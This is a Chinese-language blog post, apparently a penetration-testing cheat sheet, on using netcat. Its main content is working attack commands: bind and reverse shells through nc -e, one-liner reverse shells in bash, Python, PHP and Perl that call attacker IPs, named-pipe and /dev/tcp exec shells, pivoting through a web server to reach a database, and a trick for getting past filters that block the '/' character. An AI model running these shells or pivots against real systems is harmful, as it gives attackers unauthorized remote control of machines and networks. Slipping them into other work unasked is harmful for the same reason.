netcat&反弹SHELL

简介

Netcat 是一款简单的Unix工具,使用UDP和TCP协议,被称为网络工具中的”瑞士军*刀”。它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。

 注意有些系统自带的nc会不带-e参数(程序重定向)这可能就需要自己去编译安装完整的版本

安装

Linux默认安装Netcat,但是安装的版本可能是阉割版,没有-e参数

解决方法:

  1. 安装Debian系:sudo apt install netcat-traditional,接着更改默认的Netcat版本:sudo update-alternatives --config nc
    选择带tarditional字样的Netcat
  2. 如果原本就是这版本的,可以尝试安装上openbsd版本,然后再更改默认的Netcat版本
  3. 也可以尝试使用nc.traditional进行

Windows可以自行百度

参数

nc -h 查看帮助信息
-d: 后台模式
-e: 程序重定向
-g<网关>: 设置路由器跃程通信网关,最多可设置8个。
-G<指向器数目>: 设置源路由指向器的数量,值为4的倍数。
-i<延迟秒数>: 设置时间间隔,以便传送信息及扫描通信端口
-l: 使用监听模式,管理和控制传入的数据
-n: 直接使用IP地址(不通过域名服务器)
-o<输出文件>: 指定文件名称,把往来传输的数据转换为16进制字符后保存在该文件中
-p<通信端口>: 设置本机使用的通信端口
-r: 随机指定本机与远程主机的通信端口
-s<源地址>: 设置本机送出数据包的IP地址
-u: 使用UDP传输协议
-v: 详细输出
-w<超时秒数>:设置等待连线的时间
-z: 将输入/输出功能关闭,只在扫描通信端口时使用

通过上面参数的组合可以实现很多强大的功能

具体使用

banner相关信息抓取

nc -nv targetIP targetPort

连接远程主机

nc -nvv targetIP targetPort

端口扫描

扫描指定端口

nc -v targetIP targetPort

扫描端口段(速度很慢的噢)

nc -v -z targetIP lowIP-highIP
# 示例:nc -v -z 192.168.123.103 20-1024

监听端口

监听本地端口,当访问该端口时会输出该信息到命令行

nc -lp selfPort

文件传输

 内网端 

发送test.txt文件到目标主机

 -q 1 参数会在成功传输完一个文件后自动断开,注意此参数只有用于发送端才生效

nc -vn targetIP targetPort < test.txt -q 1

从目标主机接受test.txt文件

nc lp targetIP targetPort > test.txt

 外网端 

发送文件到主动连接自身端口的客户机

nc -lp selfPort < test.txt -q 1

接受文件

nc -lp selfPort > test.txt

简易聊天

nc -lp selfPort

nc -vn targetIP targetPort

GETSHELL

正向shell

正向shell就是客户端连接服务器,客户端获取服务器的shell。(目标监听,攻击机连接)

目标机命令:

nc -lvp selfPort -e /bin/bash	# Linux
nc -lvp selfPort -e C:\windows\system32\cmd.exe	#Windows

攻击机命令:

nc targetIP targetPort

反向shell

客户端连接服务器,服务器获取客户端的shell。通常用在开启防护措施的目标机,如防火墙过滤、端口转发等。

攻击机监听,目标机连接

攻击机命令:

nc -lvvp selfPort

目标机命令:

nc trgetIP targetPort -e /bin/bash		# Linux
nc targetIP targetPort -e C:\windows\system32\cmd.exe	# Windows

Python反向shell

攻击机命令:

nc -lvvp selfPort

目标机命令:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.136.129",2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

bash反向shell

攻击机命令:

nc -lvvp selfPort

目标机命令:

bash -i >& /dev/tcp/targetIP/targetPort 0>&1

PHP反向shell

攻击机命令:

nc -lvvp selfPort

目标机命令:

php -r '$sock=fsockopen("192.168.136.129",3333);exec("/bin/sh -i <&3 >&3 2>&3");'

perl反向shell

攻击机命令:

nc -lvvp selfPort

目标机命令:

perl -e 'use Socket;$i="192.168.136.129";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

内网代理

环境:攻击机无法访问数据库服务器,但是可以用过web服务器访问数据库服务器

攻击机执行:

nc -lvvp selfPort

数据库执行:

nc -lvp selfPort -e /bin/bash

web服务器执行:

nc -v sqlserverIP sqlserverPort -c "nc -v targetIP targetPort"

原理:把web服务器当作中间机,使攻击机与数据库通信

技巧之’/’符号绕过(文件传输与python反向shell结合)

依赖工具:nc, python

背景:反弹shell的操作一般离不开‘/’符号,但是有些网站会对’/‘进行过滤

绕过方法:

利用nc的传输文件:

攻击机准备getshell脚本:

nv -lnvp selfPort < cmd

cmd内容如下:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("targetIP",targetsetPort))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

如果上面的命令不能成功反弹回shell,终止上面的进程,并运行下面的命令:

nc -lnvp targetsetPort	# targetsetPort是在上面cmd脚本中开放的攻击机的端口

目标机执行:

nc targetIP targetPort | python

配合命名管道进行反弹

攻击机命令:

nc -lvvp selfPort

目标机命令:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc 192.168.37.132 1024 >/tmp/f

使用exec反弹

攻击机命令:

nc -lvvp selfPort

目标机命令:

0<&196;exec 196<>/dev/tcp/192.168.37.132/1024; sh <&196 >&196 2>&196
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇